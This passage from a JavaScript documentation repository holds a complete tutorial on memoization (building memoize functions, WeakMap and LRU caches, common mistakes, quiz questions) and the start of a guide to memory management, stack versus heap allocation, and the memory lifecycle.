Tutorial" icon="video" href="https://www.youtube.com/watch?v=AUOzvFzdIk4"> Traversy Media's beginner-friendly tutorial walking through all Web Storage API methods. </Card> <Card title="localStorage in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=XPDcw1bYQbs"> Fireship's quick overview of localStorage fundamentals. Perfect for a fast refresher. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/memoization.mdx ================================================ --- title: "Memoization in JavaScript" sidebarTitle: "Memoization: Caching Function Results" description: "Learn memoization in JavaScript. Cache function results, optimize expensive computations, build your own memoize function, and know when caching helps vs hurts." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Memory & Performance" "article:tag": "memoization, function caching, performance optimization, usememo, expensive computations" --- Why does a naive Fibonacci function take forever for large numbers while a memoized version finishes instantly? Why do some React components re-render unnecessarily while others stay perfectly optimized? The answer is **memoization** — an optimization technique that stores the results of expensive function calls and returns the cached result when the same inputs occur again. ```javascript // Without memoization: recalculates every time function slowFib(n) { if (n <= 1) return n return slowFib(n - 1) + slowFib(n - 2) } slowFib(40) // Takes several seconds! slowFib(40) // Still takes several seconds... // With memoization: remembers previous results const fastFib = memoize(function(n) { if (n <= 1) return n return fastFib(n - 1) + fastFib(n - 2) }) fastFib(40) // Takes milliseconds fastFib(40) // Instant — retrieved from cache! ``` Memoization is built on [closures](/concepts/scope-and-closures), uses data structures like [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) and [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), and is the foundation for performance optimizations in frameworks like React. <Info> **What you'll learn in this guide:** - What memoization is and how it works under the hood - How to build your own memoize function from scratch - Handling multiple arguments and complex cache keys - When memoization helps vs when it actually hurts performance - Using WeakMap for memory-safe object memoization - Common mistakes that break memoization </Info> <Warning> **Helpful background:** This guide uses closures extensively. If you're not comfortable with how functions can "remember" variables from their outer scope, read our [Scope and Closures](/concepts/scope-and-closures) guide first. Understanding [Pure Functions](/concepts/pure-functions) also helps since memoization only works reliably with pure functions. </Warning> --- ## What is Memoization? **Memoization** is an optimization technique that speeds up programs by storing the results of expensive function calls and returning the cached result when the same inputs occur again. The term was coined by Donald Michie in 1968, derived from the Latin word "memorandum" (to be remembered), which is also the root of "memo." Think of memoization as giving your function a notepad. Before doing any calculation, the function checks its notes: "Have I solved this exact problem before?" If yes, it reads the answer from the notepad. If no, it calculates the result, writes it down, and then returns it. ```javascript // A memoized function has three parts: // 1. A cache to store results // 2. A lookup to check if we've seen this input before // 3. The original calculation as a fallback function memoizedDouble(n) { // Check the cache if (memoizedDouble.cache[n] !== undefined) { console.log(`Cache hit for ${n}`) return memoizedDouble.cache[n] } // Calculate and store console.log(`Calculating ${n} * 2`) const result = n * 2 memoizedDouble.cache[n] = result return result } memoizedDouble.cache = {} memoizedDouble(5) // "Calculating 5 * 2" → 10 memoizedDouble(5) // "Cache hit for 5" → 10 (no calculation!) memoizedDouble(7) // "Calculating 7 * 2" → 14 ``` <CardGroup cols={2}> <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> The Map object is ideal for memoization caches since it preserves insertion order and allows any value as a key </Card> <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> WeakMap allows garbage collection of keys, making it perfect for memoizing functions with object arguments </Card> </CardGroup> --- ## The Library Book Analogy Imagine you're a librarian helping students with research questions. When a student asks "What year did JavaScript first release?", you have two options: 1. **Without memoization:** Walk to the computer science section, find the right book, look up the answer, walk back, and tell the student "1995." Every single time someone asks this question, you repeat the entire trip. 2. **With memoization:** The first time someone asks, you do the lookup. But then you write "JavaScript: 1995" on a sticky note at your desk. The next time someone asks, you just read from the sticky note. No walking required. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ MEMOIZATION: THE LIBRARIAN'S DESK │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WITHOUT MEMOIZATION WITH MEMOIZATION │ │ ──────────────────── ────────────────── │ │ │ │ Student: "When was JS released?" Student: "When was JS released?"│ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Librarian│ │ Librarian│ │ │ │ 😓 │ ─────► Walk to shelf │ 😊 │ ─► Check desk │ │ └──────────┘ Find book └──────────┘ ┌─────────────┐ │ │ │ Look it up │ │ Sticky Note │ │ │ │ Walk back │ │ JS: 1995 │ │ │ ▼ Tell student ▼ └─────────────┘ │ │ "1995" (slow) "1995" (instant!) │ │ │ │ Next student asks... Next student asks... │ │ ↑ Repeat everything! ↑ Just read the sticky note! │ │ │ │ Time: O(n) every time Time: O(1) for repeat queries │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The "sticky notes" are your cache. The "walking to the shelf" is the expensive computation. Memoization trades memory (sticky notes) for speed (no walking). --- ## How to Build a Memoize Function Let's build a reusable `memoize` function step by step. This function will take any function and return a memoized version of it. ### Step 1: Basic Structure ```javascript function memoize(fn) { const cache = new Map() // Store results here return function(arg) { // Check if we've seen this argument before if (cache.has(arg)) { return cache.get(arg) } // Calculate, cache, and return const result = fn(arg) cache.set(arg, result) return result } } ``` The returned function uses a [closure](/concepts/scope-and-closures) to maintain access to `cache` even after `memoize` has finished executing. This is how the function "remembers" previous results. ### Step 2: Handle Multiple Arguments The basic version only works with single arguments. For multiple arguments, we need to create a cache key: ```javascript function memoize(fn) { const cache = new Map() return function(...args) { // Create a key from all arguments const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } // Now it works with multiple arguments const add = memoize((a, b) => { console.log('Calculating...') return a + b }) add(2, 3) // "Calculating..." → 5 add(2, 3) // → 5 (cached!) add(3, 2) // "Calculating..." → 5 (different key: "[3,2]" vs "[2,3]") ``` ### Step 3: Preserve `this` Context Using `fn.apply(this, args)` ensures the memoized function works correctly as a method: ```javascript const calculator = { multiplier: 10, calculate: memoize(function(n) { console.log('Calculating...') return n * this.multiplier // 'this' refers to calculator }) } calculator.calculate(5) // "Calculating..." → 50 calculator.calculate(5) // → 50 (cached, 'this' preserved) ``` ### Complete Implementation Here's the full memoize function with all features: ```javascript function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } ``` <Tip> **Quick test:** A well-implemented memoize function should pass this check: `memoize(fn)(1, 2) === memoize(fn)(1, 2)` should only call `fn` once (assuming `fn` is the same function reference stored in a variable). </Tip> --- ## Memoizing Recursive Functions Memoization shines brightest with recursive functions that have overlapping subproblems. The classic example is Fibonacci. ### The Problem: Exponential Time Complexity ```javascript function fibonacci(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) } // fibonacci(5) creates this call tree: // fib(5) // / \ // fib(4) fib(3) // / \ / \ // fib(3) fib(2) fib(2) fib(1) // / \ // fib(2) fib(1) // // Notice: fib(3) is calculated TWICE // fib(2) is calculated THREE times ``` For `fibonacci(40)`, the naive version makes over 330 million function calls because it recalculates the same values repeatedly. According to computer science research, this transforms O(2^n) exponential time complexity into O(n) linear time — a reduction of over 99.99% in function calls. ### The Solution: Memoized Fibonacci ```javascript const fibonacci = memoize(function fib(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) }) // Now the call tree is linear: // fib(5) → fib(4) → fib(3) → fib(2) → fib(1) → fib(0) // ↑ ↑ // (cached) └────────┘ fibonacci(40) // Returns instantly fibonacci(50) // Still fast — reuses cached values from fib(40)! ``` <Note> **The key insight:** The recursive call `fibonacci(n - 1)` references the memoized version, not the inner function. Each computed value is stored, so `fib(3)` is only ever calculated once, no matter how many times it's needed. </Note> ### Performance Comparison | Input | Naive Fibonacci | Memoized Fibonacci | |-------|-----------------|-------------------| | n = 10 | ~177 calls | 11 calls | | n = 20 | ~21,891 calls | 21 calls | | n = 30 | ~2.7 million calls | 31 calls | | n = 40 | ~331 million calls | 41 calls | The naive version has O(2^n) time complexity. The memoized version has O(n) time complexity. --- ## When Memoization Helps Memoization is most effective in specific scenarios. Here's when you should reach for it: <AccordionGroup> <Accordion title="1. Expensive Computations"> Functions that perform heavy calculations benefit most from caching. ```javascript // Good candidate: CPU-intensive calculation const calculatePrimes = memoize(function(limit) { const primes = [] for (let i = 2; i <= limit; i++) { let isPrime = true for (let j = 2; j <= Math.sqrt(i); j++) { if (i % j === 0) { isPrime = false break } } if (isPrime) primes.push(i) } return primes }) calculatePrimes(100000) // Slow first time calculatePrimes(100000) // Instant! ``` </Accordion> <Accordion title="2. Recursive Functions with Overlapping Subproblems"> Dynamic programming problems where the same subproblem is solved multiple times. ```javascript // Good candidate: Recursive with repeated subproblems const climbStairs = memoize(function(n) { if (n <= 2) return n return climbStairs(n - 1) + climbStairs(n - 2) }) // Counts ways to climb n stairs taking 1 or 2 steps at a time climbStairs(50) // Would be impossibly slow without memoization ``` </Accordion> <Accordion title="3. Functions Called Repeatedly with Same Arguments"> When your application calls the same function with identical inputs many times. ```javascript // Good candidate: Format function called in a loop const formatCurrency = memoize(function(amount, currency) { return new Intl.NumberFormat('en-US', { style: 'currency', currency: currency }).format(amount) }) // In a table with 1000 rows, many might have the same price prices.map(p => formatCurrency(p, 'USD')) // Reuses cached formats ``` </Accordion> <Accordion title="4. Pure Functions Only"> Memoization only works correctly with pure functions. Same input must always produce same output. ```javascript // ✓ GOOD: Pure function — safe to memoize const square = memoize(n => n * n) // ❌ BAD: Impure function — DO NOT memoize let multiplier = 2 const multiply = memoize(n => n * multiplier) // Result depends on external state! multiply(5) // 10 multiplier = 3 multiply(5) // Still returns 10 from cache, but should be 15! ``` </Accordion> </AccordionGroup> --- ## When Memoization Hurts Memoization isn't free. It trades memory for speed, and sometimes that trade isn't worth it. ### 1. Fast Functions If a function executes quickly, the cache lookup overhead might exceed the computation time. ```javascript // ❌ BAD: Don't memoize simple operations const add = memoize((a, b) => a + b) // Overhead > benefit // The cache lookup (Map.has, Map.get) and key creation (JSON.stringify) // take longer than just adding two numbers! ``` ### 2. Unique Inputs Every Time If inputs are rarely repeated, the cache just consumes memory without providing speed benefits. ```javascript // ❌ BAD: Random inputs are never repeated const processRandom = memoize(function(data) { return data.map(x => x * 2) }) // Each call has unique data — cache grows forever, never provides a hit for (let i = 0; i < 1000; i++) { processRandom([Math.random()]) // Cache now has 1000 useless entries } ``` ### 3. Functions with Side Effects Memoization assumes the function only returns a value. If it has side effects, those won't happen on cache hits. ```javascript // ❌ BAD: Side effects are skipped on cache hits const logAndDouble = memoize(function(n) { console.log(`Doubling ${n}`) // Side effect! return n * 2 }) logAndDouble(5) // Logs "Doubling 5" → 10 logAndDouble(5) // Returns 10, but NO LOG! Side effect was skipped. ``` ### 4. Memory-Constrained Environments Each cached result consumes memory. For functions with large return values or many unique inputs, this can be problematic. ```javascript // ⚠️ CAREFUL: Large return values eat memory fast const generateLargeArray = memoize(function(size) { return new Array(size).fill(0).map((_, i) => i) }) generateLargeArray(1000000) // Cache now holds 1 million integers generateLargeArray(2000000) // Cache now holds 3 million integers // Memory keeps growing with each unique input! ``` <Warning> **The memory trap:** Standard memoization caches grow forever. In long-running applications, this can cause memory leaks. Consider using cache eviction strategies (LRU cache) or `WeakMap` for object keys. </Warning> --- ## WeakMap for Object Arguments When memoizing functions that take objects as arguments, `JSON.stringify` has problems: ```javascript // Problem 1: Objects with same content create different keys const obj1 = { a: 1 } const obj2 = { a: 1 } JSON.stringify(obj1) === JSON.stringify(obj2) // true, but... // Problem 2: Object identity is lost const cache = new Map() cache.set(JSON.stringify(obj1), 'result') cache.has(JSON.stringify(obj2)) // true — but obj1 and obj2 are different objects! // Problem 3: Memory leak — objects can't be garbage collected // Even if obj1 is no longer used elsewhere, the stringified key keeps data alive ``` [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) solves these problems: ```javascript function memoizeWithWeakMap(fn) { const cache = new WeakMap() return function(obj) { if (cache.has(obj)) { return cache.get(obj) } const result = fn(obj) cache.set(obj, result) return result } } const processUser = memoizeWithWeakMap(function(user) { console.log('Processing...') return { ...user, processed: true } }) const user = { name: 'Alice' } processUser(user) // "Processing..." → { name: 'Alice', processed: true } processUser(user) // Cached! (same object reference) const sameData = { name: 'Alice' } processUser(sameData) // "Processing..." (different object, not cached) ``` ### WeakMap Benefits 1. **Memory-safe:** When an object key is no longer referenced elsewhere, both the key and its cached value can be garbage collected 2. **Object identity:** Caches based on object reference, not content 3. **No serialization:** No need to stringify objects ### WeakMap Limitations - Keys must be objects (no primitives) - Not iterable (can't list all cached entries) - No `size` property (can't check cache size) ```javascript // Hybrid approach: Use both Map and WeakMap function memoizeHybrid(fn) { const primitiveCache = new Map() const objectCache = new WeakMap() return function(arg) { const cache = typeof arg === 'object' && arg !== null ? objectCache : primitiveCache if (cache.has(arg)) { return cache.get(arg) } const result = fn(arg) cache.set(arg, result) return result } } ``` --- ## Common Memoization Mistakes ### Mistake 1: Memoizing Impure Functions ```javascript // ❌ WRONG: Function depends on external state let taxRate = 0.08 const calculateTax = memoize(function(price) { return price * taxRate }) calculateTax(100) // 8 taxRate = 0.10 calculateTax(100) // Still 8! Cache doesn't know taxRate changed. // ✓ CORRECT: Make the dependency an argument const calculateTax = memoize(function(price, rate) { return price * rate }) calculateTax(100, 0.08) // 8 calculateTax(100, 0.10) // 10 (different arguments = different cache key) ``` ### Mistake 2: Forgetting Argument Order Matters ```javascript const add = memoize((a, b) => a + b) add(1, 2) // Calculates: 3, cached as "[1,2]" add(2, 1) // Calculates again: 3, cached as "[2,1]" // These are different cache keys even though the result is the same! // For commutative operations, consider normalizing arguments: function memoizeCommutative(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args.slice().sort()) // Sort for consistent key if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) cache.set(key, result) return result } } ``` ### Mistake 3: Not Handling `this` Context ```javascript // ❌ WRONG: Loses 'this' context function badMemoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn(...args) // 'this' is lost! cache.set(key, result) return result } } // ✓ CORRECT: Preserve 'this' with apply function goodMemoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) // 'this' preserved cache.set(key, result) return result } } ``` ### Mistake 4: Recursive Function References Wrong Version ```javascript // ❌ WRONG: Inner function calls itself, not the memoized version const factorial = memoize(function fact(n) { if (n <= 1) return 1 return n * fact(n - 1) // Calls 'fact', not 'factorial'! }) // ✓ CORRECT: Reference the memoized variable const factorial = memoize(function(n) { if (n <= 1) return 1 return n * factorial(n - 1) // Calls 'factorial' — the memoized version }) ``` --- ## Advanced: LRU Cache for Bounded Memory Standard memoization caches grow unbounded. As MDN's documentation on Map notes, Map maintains insertion order, which makes it an ideal foundation for building LRU (Least Recently Used) caches that evict old entries: ```javascript function memoizeLRU(fn, maxSize = 100) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) { // Move to end (most recently used) const value = cache.get(key) cache.delete(key) cache.set(key, value) return value } const result = fn.apply(this, args) // Evict oldest entry if at capacity if (cache.size >= maxSize) { const oldestKey = cache.keys().next().value cache.delete(oldestKey) } cache.set(key, result) return result } } const fibonacci = memoizeLRU(function(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) }, 50) // Only keep 50 most recent results ``` This implementation leverages the fact that [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) maintains insertion order, so the first key is always the oldest. --- ## Key Takeaways <Info> **The key things to remember about memoization:** 1. **Memoization caches function results** — it stores the output for given inputs and returns the cached value on subsequent calls with the same inputs 2. **Only memoize pure functions** — the function must always return the same output for the same input, with no side effects 3. **Trade memory for speed** — every cached result consumes memory, so memoization is a space-time tradeoff 4. **Best for expensive, repeated computations** — recursive algorithms, CPU-intensive calculations, and functions called many times with the same arguments 5. **Use `Map` for primitive arguments** — `Map` provides O(1) lookup and handles any value type as keys 6. **Use `WeakMap` for object arguments** — prevents memory leaks by allowing garbage collection of unused keys 7. **Create cache keys carefully** — `JSON.stringify(args)` works for primitives but has limitations with objects, functions, and undefined values 8. **Recursive functions must reference the memoized version** — otherwise only the outer call benefits from caching 9. **Don't memoize fast functions** — if computation is cheaper than cache lookup, memoization hurts performance 10. **Consider bounded caches in production** — LRU caches prevent unbounded memory growth in long-running applications </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What is memoization?"> **Answer:** Memoization is an optimization technique that caches the results of function calls. When a memoized function is called with arguments it has seen before, it returns the cached result instead of recalculating. ```javascript const memoizedFn = memoize(expensiveFunction) memoizedFn(5) // Calculates and caches memoizedFn(5) // Returns cached result (no calculation) ``` </Accordion> <Accordion title="Question 2: Why should you only memoize pure functions?"> **Answer:** Pure functions always return the same output for the same input and have no side effects. If you memoize an impure function: 1. **Results may be wrong** — if the function depends on external state that changes, cached results become stale 2. **Side effects are skipped** — on cache hits, the function body doesn't execute, so side effects don't happen ```javascript // ❌ Impure: depends on external state let multiplier = 2 const multiply = memoize(n => n * multiplier) multiply(5) // 10, cached multiplier = 3 multiply(5) // Still 10! Should be 15. ``` </Accordion> <Accordion title="Question 3: How does memoization improve Fibonacci performance?"> **Answer:** Naive recursive Fibonacci has O(2^n) time complexity because it recalculates the same values many times. For `fib(5)`, it calculates `fib(2)` three times. Memoized Fibonacci has O(n) time complexity because each value is calculated only once and then retrieved from cache. ```javascript // Without memoization: fib(40) makes ~330 million calls // With memoization: fib(40) makes 41 calls ``` </Accordion> <Accordion title="Question 4: When should you NOT use memoization?"> **Answer:** Don't memoize when: 1. **Functions are fast** — cache lookup overhead exceeds computation time 2. **Inputs are always unique** — cache grows but never provides hits 3. **Functions have side effects** — side effects won't execute on cache hits 4. **Memory is constrained** — cache can grow unbounded 5. **Functions are impure** — cached results become invalid when external state changes </Accordion> <Accordion title="Question 5: Why use WeakMap instead of Map for object arguments?"> **Answer:** `WeakMap` allows garbage collection of keys when they're no longer referenced elsewhere. With `Map`, object keys (or their stringified versions) prevent garbage collection, causing memory leaks. ```javascript // Map: object stays in memory even after you're done with it const map = new Map() let obj = { data: 'large' } map.set(obj, 'cached') obj = null // Object still referenced by map, can't be garbage collected! // WeakMap: object can be garbage collected const weakMap = new WeakMap() let obj = { data: 'large' } weakMap.set(obj, 'cached') obj = null // Object can now be garbage collected ``` </Accordion> <Accordion title="Question 6: What's wrong with this memoized recursive function?"> ```javascript const factorial = memoize(function fact(n) { if (n <= 1) return 1 return n * fact(n - 1) }) ``` **Answer:** The recursive call `fact(n - 1)` references the inner function name `fact`, not the outer memoized variable `factorial`. This means only the initial call benefits from caching; recursive calls bypass the cache entirely. **Fix:** Reference the memoized variable: ```javascript const factorial = memoize(function(n) { if (n <= 1) return 1 return n * factorial(n - 1) // References the memoized version }) ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is memoization in JavaScript?"> Memoization is an optimization technique that caches the results of function calls and returns the cached result when the same inputs occur again. It trades memory for speed by storing previous computations. The technique was formalized by Donald Michie in 1968 and is widely used in dynamic programming and UI frameworks like React. </Accordion> <Accordion title="What is the difference between memoization and caching?"> Memoization is a specific form of caching that stores function return values based on their input arguments. General caching can apply to any data (API responses, database queries, files). Memoization is tied to function purity — it only works correctly when the same inputs always produce the same output with no side effects. </Accordion> <Accordion title="Why does memoization only work with pure functions?"> Pure functions always return the same output for the same input and have no side effects. If you memoize an impure function that depends on external state, the cached result becomes stale when that state changes. Side effects (like logging or API calls) are also skipped on cache hits, which can break expected behavior. </Accordion> <Accordion title="Can I memoize functions with object arguments?"> Yes, but use `WeakMap` instead of `Map` for the cache. `JSON.stringify` loses object identity and prevents garbage collection. MDN documents that WeakMap keys are held weakly, meaning objects can be garbage collected when no other references exist, preventing memory leaks in long-running applications. </Accordion> <Accordion title="When should I NOT use memoization?"> Avoid memoizing fast functions where cache lookup overhead exceeds computation time, functions with always-unique inputs that fill the cache without providing hits, functions with side effects, and impure functions that depend on external state. Measure before and after to confirm memoization actually helps. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Pure Functions" icon="flask" href="/concepts/pure-functions"> Memoization only works reliably with pure functions that have no side effects </Card> <Card title="Scope and Closures" icon="box" href="/concepts/scope-and-closures"> Memoize functions use closures to maintain access to the cache between calls </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> `memoize` is a higher-order function that takes a function and returns an enhanced version </Card> <Card title="WeakMap & WeakSet" icon="ghost" href="/beyond/concepts/weakmap-weakset"> WeakMap enables memory-safe memoization with object arguments </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> The Map object holds key-value pairs and remembers insertion order, making it ideal for memoization caches </Card> <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> WeakMap holds weak references to object keys, allowing garbage collection and preventing memory leaks </Card> <Card title="Closures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures"> Closures enable memoized functions to maintain access to their cache across multiple calls </Card> <Card title="JSON.stringify() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"> Used to create cache keys from function arguments in basic memoization implementations </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="How to use Memoize to cache JavaScript function results" icon="newspaper" href="https://www.freecodecamp.org/news/understanding-memoize-in-javascript-51d07d19430e/"> Divyanshu Maithani's practical guide walks through building a memoize function from scratch. Includes the recursive Fibonacci example and explains why memoization works differently than general caching. </Card> <Card title="Understanding Memoization in JavaScript" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-memoization-in-javascript"> Philip Obosi's comprehensive tutorial covers the connection between memoization and closures. Includes JSPerf benchmarks showing the dramatic performance difference. </Card> <Card title="Closures: Using Memoization" icon="newspaper" href="https://dev.to/steelvoltage/closures-using-memoization-3597"> Brian Holt's Dev.to article connects memoization to closures with clear examples. Perfect for understanding how the cache persists between function calls. </Card> <Card title="JavaScript Function Memoization" icon="newspaper" href="https://blog.bitsrc.io/understanding-memoization-in-javascript-to-improve-performance-2c267c123ef3"> Bits and Pieces guide on memoization patterns with real-world use cases and performance considerations for production applications. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Memoization And Dynamic Programming Explained" icon="video" href="https://www.youtube.com/watch?v=WbwP4w6TpCk"> Web Dev Simplified demonstrates how memoization transforms exponential algorithms into linear ones. The Fibonacci visualization makes the optimization crystal clear. </Card> <Card title="What is Memoization? — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=lhNdUVh3qR8"> Mattias Petter Johansson explains memoization with his signature engaging style. Great for understanding the "why" behind the technique. </Card> <Card title="Memoization in JavaScript" icon="video" href="https://www.youtube.com/watch?v=vKodE_3eSLU"> Akshay Saini covers memoization in the context of JavaScript interviews, including common follow-up questions and gotchas. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/memory-management.mdx ================================================ --- title: "JavaScript Memory Management" sidebarTitle: "Memory Management" description: "Learn how JavaScript manages memory automatically. Understand the memory lifecycle, stack vs heap, common memory leaks, and how to profile memory with DevTools." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Memory & Performance" "article:tag": "memory management, javascript memory, stack heap, memory leaks, devtools profiling" --- Why does your web app slow down over time? Why does that single-page application become sluggish after hours of use? The answer often lies in **memory management**, the invisible system that allocates and frees memory as your code runs. ```javascript // Memory is allocated automatically when you create values const user = { name: 'Alice', age: 30 }; // Object stored in heap const numbers = [1, 2, 3, 4, 5]; // Array stored in heap let count = 42; // Primitive stored in stack // But what happens when these are no longer needed? // JavaScript handles cleanup automatically... most of the time ``` Unlike languages like C where you manually allocate and free memory, JavaScript handles this automatically. But "automatic" doesn't mean "worry-free." According to the State of JS 2023 survey, memory management and performance optimization remain among the top pain points reported by JavaScript developers. Understanding how memory management works helps you write faster, more efficient code and avoid the dreaded memory leaks that crash applications. <Info> **What you'll learn in this guide:** - What memory management is and why it matters for performance - The three phases of the memory lifecycle - How stack and heap memory differ and when each is used - Common memory leak patterns and how to prevent them - How to profile memory usage with Chrome DevTools - Best practices for writing memory-efficient JavaScript </Info> --- ## The Storage Unit Analogy: Understanding Memory Imagine you're running a storage facility. When customers (your code) need to store items (data), you: 1. **Allocate** — Find an empty unit and assign it to them 2. **Use** — They store and retrieve items as needed 3. **Release** — When they're done, you reclaim the unit for other customers ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ MEMORY LIFECYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ ALLOCATE │ ───► │ USE │ ───► │ RELEASE │ │ │ │ │ │ │ │ │ │ │ │ Reserve │ │ Read/Write │ │ Free memory │ │ │ │ memory │ │ data │ │ when done │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ JavaScript does You do this Garbage collector │ │ this automatically explicitly does this for you │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The tricky part? JavaScript handles allocation and release automatically, which means you don't always know when memory is freed. This can lead to memory building up when you expect it to be cleaned. --- ## What is Memory Management? **[Memory management](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management)** is the process of allocating memory when your program needs it, using that memory, and releasing it when it's no longer needed. In JavaScript, this happens automatically through a system called garbage collection, which monitors objects and frees memory that's no longer reachable by your code. ### The Memory Lifecycle Every piece of data in your program goes through three phases: <Steps> <Step title="Allocation"> When you create a variable, object, or function, JavaScript automatically reserves memory to store it. ```javascript // All of these trigger memory allocation const name = "Alice"; // String allocation const user = { id: 1, name: "Alice" }; // Object allocation const items = [1, 2, 3]; // Array allocation function greet() { return "Hello"; } // Function allocation ``` </Step> <Step title="Use"> Your code reads from and writes to allocated memory. This is the phase where you actually work with your data. ```javascript // Using allocated memory console.log(name); // Read from memory user.age = 30; // Write to memory items.push(4); // Modify allocated array const message = greet(); // Execute function, allocate result ``` </Step> <Step title="Release"> When data is no longer needed, the garbage collector frees that memory so it can be reused. This happens automatically when values become **unreachable**. ```javascript function processData() { const tempData = { huge: new Array(1000000) }; // tempData is used here... return tempData.huge.length; } // After processData() returns, tempData is unreachable // The garbage collector will eventually free that memory ``` </Step> </Steps> <Note> **The hard part:** Determining when memory is "no longer needed" is actually an undecidable problem in computer science. Garbage collectors use approximations (like checking if values are reachable) rather than truly knowing if you'll use something again. </Note> --- ## Stack vs Heap: Two Types of Memory JavaScript uses two memory regions with different characteristics. Understanding when each is used helps you write more efficient code. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STACK vs HEAP MEMORY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ STACK (Fast, Ordered) HEAP (Flexible, Unordered) │ │ ┌─────────────────────┐ ┌─────────────────────────────┐ │ │ │ let count = 42 │ │ ┌─────────────────────┐ │ │ │ ├─────────────────────┤ │ │ { name: "Alice" } │ │ │ │ │ let active = true │ │ └─────────────────────┘ │ │ │ ├─────────────────────┤ │ ┌───────────┐ │ │ │ │ let price = 19.99 │ │ │ [1, 2, 3] │ │ │ │ ├─────────────────────┤ │ └───────────┘ │ │ │ │ (reference to obj)──┼────────────┼──►┌─────────────────┐ │ │ │ └─────────────────────┘ │ │ { id: 1 } │ │ │ │ │ └─────────────────┘ │ │ │ Primitives stored directly │ │ │ │ References point to heap └─────────────────────────────┘ │ │ Objects stored here │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Stack Memory The **stack** is a fast, ordered region of memory used for: - **Primitive values** — numbers, strings, booleans, `null`, `undefined`, symbols, BigInt - **References** — pointers to objects in the heap - **Function call information** — local variables, arguments, return addresses ```javascript function calculateTotal(price, quantity) { // These primitives are stored on the stack const tax = 0.08; const subtotal = price * quantity; const total = subtotal + (subtotal * tax); return total; } // When the function returns, stack memory is immediately reclaimed ``` **Characteristics:** - Fixed size, very fast access - Automatically managed (LIFO - Last In, First Out) - Memory is freed immediately when functions return - Limited in size (causes stack overflow if exceeded) ### Heap Memory The **heap** is a larger, unstructured region used for: - **Objects** — including arrays, functions, dates, etc. - **Dynamically sized data** — anything that can grow or shrink - **Data that outlives function calls** ```javascript function createUser(name) { // This object is allocated in the heap const user = { name: name, createdAt: new Date(), preferences: [] }; return user; // Reference returned, object persists in heap } const alice = createUser("Alice"); // The object still exists in heap memory, referenced by 'alice' ``` **Characteristics:** - Dynamic size, slower access than stack - Managed by garbage collector - Memory freed only when values become unreachable - No size limit (except available system memory) ### How References Work When you assign an object to a variable, the variable holds a **reference** (like an address) pointing to the object in the heap: ```javascript const original = { value: 1 }; // Object in heap, reference in stack const copy = original; // Same reference, same object! copy.value = 2; console.log(original.value); // 2 — both point to the same object // To create an independent copy: const independent = { ...original }; independent.value = 3; console.log(original.value); // Still 2 — different objects ``` --- ## How JavaScript Allocates Memory JavaScript automatically allocates memory when you create values. Here's what triggers allocation: ### Automatic Allocation Examples ```javascript // Primitive allocation const n = 123; // Allocates memory for a number const s = "hello"; // Allocates memory for a string const b = true; // Allocates memory for a boolean // Object allocation const obj = { a: 1, b: 2 }; // Allocates memory for object and values const arr = [1, 2, 3]; // Allocates memory for array and elements const fn = function() {}; // Allocates memory for function object // Allocation via operations const s2 = s.substring(0, 3); // New string allocated const arr2 = arr.concat([4, 5]); // New array allocated const obj2 = { 